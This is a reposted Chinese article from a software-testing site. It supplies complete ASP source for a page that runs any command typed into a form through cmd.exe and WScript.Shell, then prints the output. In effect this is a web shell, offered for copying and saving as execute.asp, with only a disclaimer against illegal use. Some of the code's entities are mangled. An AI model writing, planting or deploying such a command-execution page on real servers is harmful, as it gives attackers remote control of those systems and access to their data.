• 软件测试技术
  • 软件测试博客
  • 软件测试视频
  • 开源软件测试技术
  • 软件测试论坛
  • 软件测试沙龙
  • 软件测试资料下载
  • 软件测试杂志
  • 软件测试人才招聘
    暂时没有公告

字号: | 推荐给好友 上一篇 | 下一篇

可以执行系统命令的ASP原码放送

发布: 2007-9-07 19:42 | 作者: admin | 来源: eNet论坛 | 查看: 12次 | 进入软件测试论坛讨论

领测软件测试网 注意的是,程序运行必须有FileSystemObject支持。以下是远程执行命令的原代码。
copy下来另存为execute.asp.

<html>

<head>
<meta http-equiv="Content-Language" content="zh-cn">
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>执行命令</title>
<style>
<!--
table,body{ font-family: 宋体; font-size: 9pt }
a{ font-family: 宋体; font-size: 9pt; color: rgb(0,32,64);

text-decoration: none }
a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: none

}
a:visited{ color: rgb(128,0,0) }
-->
</style>

</head>

<body bgcolor="#000000" text="#C0C0C0">

<form method="POST" action="execute.asp">
<p align="left">输入要执行的命令:<input type="text" name="ml"

size="20" value="dir c:\" style="background-color: #C0C0C0; color:

#000000; border-style: solid; border-width: 1">
<input type="submit" value="执行" name="B1" style="background-color:

#C0C0C0; color: #000000; border: 1 groove #C0C0C0"></p>
</form>
<%
ml=request.form("ml")
cmd="c:\winnt\system32\cmd.exe /c "amp;mlamp;" >c:\whoamI.txt" '修改

whoamI.txt路径到一个有写权限的目录
Set WShShell = Server.CreateObject("WScript.Shell")
RetCode = WShShell.Run(cmd, 1, True)
if RetCode = 0 Then
Response.write ml amp; " "
Response.write " 命令成功执行!"amp;"<br><br>"
else
Response.write " 命令执行失败!权限不够或者该程序无法在DOS状态下运行

!"amp;"<br><br>"

end if
'response.write cmd

function htmlencode(str)
dim result
dim l
if isNULL(str) then
htmlencode=""
exit function
end if
l=len(str)
result=""
dim i
for i = 1 to l
select case mid(str,i,1)
case "<"
result=result+"<"
case ">"
result=result+">"
case chr(34)
result=result+"""
case "amp;"
result=result+"amp;"
case else
result=result+mid(str,i,1)
end select
next
htmlencode=result
end function
Set fs =CreateObject("Scripting.FileSystemObject")
Set thisfile = fs.OpenTextFile("c:/whoamI.txt", 1, False) '读文件,别忘

了修改路径.
counter=0
do while not thisfile.atendofstream
counter=counter+1
thisline=htmlencode(thisfile.readline)
response.write thislineamp;"<br>"
loop
thisfile.Close
set fs=nothing
%>

</body>

</html>

请勿将此程序用于非法途径,由此引起的一切后果由使用者承担。

whoamI写于2001.2.1 转载请保持文章完整性,谢谢!

延伸阅读

文章来源于领测软件测试网 https://www.ltesting.net/


关于领测软件测试网 | 领测软件测试网合作伙伴 | 广告服务 | 投稿指南 | 联系我们 | 网站地图 | 友情链接
版权所有(C) 2003-2010 TestAge(领测软件测试网)|领测国际科技(北京)有限公司|软件测试工程师培训网 All Rights Reserved
北京市海淀区中关村南大街9号北京理工科技大厦1402室 京ICP备10010545号-5
技术支持和业务联系:info@testage.com.cn 电话:010-51297073

软件测试 | 领测国际ISTQBISTQB官网TMMiTMMi认证国际软件测试工程师认证领测软件测试网